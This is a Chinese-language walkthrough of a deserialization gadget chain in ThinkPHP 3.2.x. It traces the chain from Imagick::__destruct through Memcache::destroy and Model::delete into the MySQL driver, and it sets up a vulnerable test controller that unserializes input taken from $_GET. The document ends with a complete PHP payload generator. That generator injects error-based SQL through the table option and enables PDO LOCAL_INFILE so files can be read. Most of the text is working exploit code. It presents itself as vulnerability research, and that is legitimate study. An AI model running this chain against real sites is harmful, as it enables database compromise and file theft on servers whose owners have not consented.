前言
ThinkPHP v3.2.* (SQL注入&文件读取)反序列化POP链
利用链:
__destruct()->destroy()->delete()->Driver::delete()->Driver::execute()->Driver::initConnect()->Driver::connect()->
搭建:
路径:/Application/Home/Controller/IndexController.class.php
public function index(){
unserialize(base64_decode($_GET[1]));
}
分析
- 全局搜索
function __destruct() 按照链子来:
public function __destruct() {
empty($this->img) || $this->img->destroy();
}
}
参数是否可控:是
- 那么追踪
function destroy():/ThinkPHP/Library/Think/Session/Driver/Memcache.class.php
<?php
namespace Think\Session\Driver;
class Memcache {
protected $lifeTime = 3600;
protected $sessionName = '';
protected $handle = null;
public function destroy($sessID) {
return $this->handle->delete($this->sessionName.$sessID);
}
参数是否可控:$handle、$sessionName可控,$sessID不可控
这里注意一点:无参数调用函数在php7中会判错,但是php5不会
<?php
namespace Think;
class Model {
protected $db = null;
protected $pk = 'id';
protected $data = array();
protected $options = array();
public function delete($options=array()) {
$pk = $this->getPk();
if(empty($options) && empty($this->options['where'])) {
if(!empty($this->data) && isset($this->data[$pk]))
return $this->delete($this->data[$pk]);
else
return false;
}
$options = $this->_parseOptions($options);
if(empty($options['where'])){
return false;
}
if(is_array($options['where']) && isset($options['where'][$pk])){
$pkValue = $options['where'][$pk];
}
if(false === $this->_before_delete($options)) {
return false;
}
$result = $this->db->delete($options);
if(false !== $result && is_numeric($result)) {
$data = array();
if(isset($pkValue)) $data[$pk] = $pkValue;
$this->_after_delete($data,$options);
}
return $result;
}
delete很大,你忍一下:

参数是否可控:$pk、$data、$options可控
看我图中标注的地方,delete在自己玩自己🤷?♂?,当他玩自己的时候,$option 应该就不空了,不然会一直自己玩自己🤦?♂?,所以进入下一步:

注意第二次调用的delete函数,是调用的db里面的,而db可控吗?“可控”
public function delete($options=array()) {
$this->model = $options['model'];
$this->parseBind(!empty($options['bind'])?$options['bind']:array());
$table = $this->parseTable($options['table']);
$sql = 'DELETE FROM '.$table;
if(strpos($table,',')){
if(!empty($options['using'])){
$sql .= ' USING '.$this->parseTable($options['using']).' ';
}
$sql .= $this->parseJoin(!empty($options['join'])?$options['join']:'');
}
$sql .= $this->parseWhere(!empty($options['where'])?$options['where']:'');
if(!strpos($table,',')){
$sql .= $this->parseOrder(!empty($options['order'])?$options['order']:'')
.$this->parseLimit(!empty($options['limit'])?$options['limit']:'');
}
$sql .= $this->parseComment(!empty($options['comment'])?$options['comment']:'');
return $this->execute($sql,!empty($options['fetch_sql']) ? true : false);
}
有用代码:
public function delete($options=array()) {
$table = $this->parseTable($options['table']);
$sql = 'DELETE FROM '.$table;
return $this->execute($sql,!empty($options['fetch_sql']) ? true : false);
}
function parseTable 函数🐦用没有,所以说可以直接堆叠注入了,这里应该可以看出来吧!!!最后返回值会调用function execute,光看字面意思好像只是判断是否为空,跟踪看看:
public function execute($str,$fetchSql=false) {
$this->initConnect(true);
if ( !$this->_linkID ) return false;
$this->queryStr = $str;
if(!empty($this->bind)){
$that = $this;
$this->queryStr = strtr($this->queryStr,array_map(function($val) use($that){ return '\''.$that->escapeString($val).'\''; },$this->bind));
}
if($fetchSql){
return $this->queryStr;
}
开头直接初始化连接:$this->initConnect(true); ,进去看看
protected function initConnect($master=true) {
if(!empty($this->config['deploy']))
$this->_linkID = $this->multiConnect($master);
else
if ( !$this->_linkID ) $this->_linkID = $this->connect();
}
单数据进入else,跟踪function connect()
public function connect($config='',$linkNum=0,$autoConnection=false) {
if ( !isset($this->linkID[$linkNum]) ) {
if(empty($config)) $config = $this->config;
try{
if(empty($config['dsn'])) {
$config['dsn'] = $this->parseDsn($config);
}
if(version_compare(PHP_VERSION,'5.3.6','<=')){
$this->options[PDO::ATTR_EMULATE_PREPARES] = false;
}
$this->linkID[$linkNum] = new PDO( $config['dsn'], $config['username'], $config['password'],$this->options);
}catch (\PDOException $e) {
if($autoConnection){
trace($e->getMessage(),'','ERR');
return $this->connect($autoConnection,$linkNum);
}elseif($config['debug']){
E($e->getMessage());
}
}
}
return $this->linkID[$linkNum];
}
这里的作用我是通过名字判断的,也就是连接数据库的作用,应该是需要我们自己初始化数据库
构造POP chain
<?php
namespace Think\Image\Driver{
use Think\Session\Driver\Memcache;
class Imagick{
private $img;
public function __construct(){
$this->img = new Memcache();
}
}
}
namespace Think\Session\Driver{
use Think\Model;
class Memcache {
protected $handle;
public function __construct(){
$this->handle = new Model();
}
}
}
namespace Think{
use Think\Db\Driver\Mysql;
class Model {
protected $data=array();
protected $pk;
protected $options=array();
protected $db=null;
public function __construct()
{
$this->db = new Mysql();
$this->options['where'] = '';
$this->pk = 'id';
$this->data[$this->pk] = array(
'where'=>'1=1',
'table'=>'mysql.user where 1=updatexml(1,concat(0x7e,user(),0x7e),1)#'
);
}
}
}
namespace Think\Db\Driver{
use PDO;
class Mysql {
protected $config = array(
'debug' => true,
"charset" => "utf8",
'type' => 'mysql',
'hostname' => 'localhost',
'database' => 'thinkphp',
'username' => 'root',
'password' => 'root',
'hostport' => '3306',
);
protected $options = array(
PDO::MYSQL_ATTR_LOCAL_INFILE => true
);
}
}
namespace{
echo base64_encode(serialize(new Think\Image\Driver\Imagick() ));
}
?>

|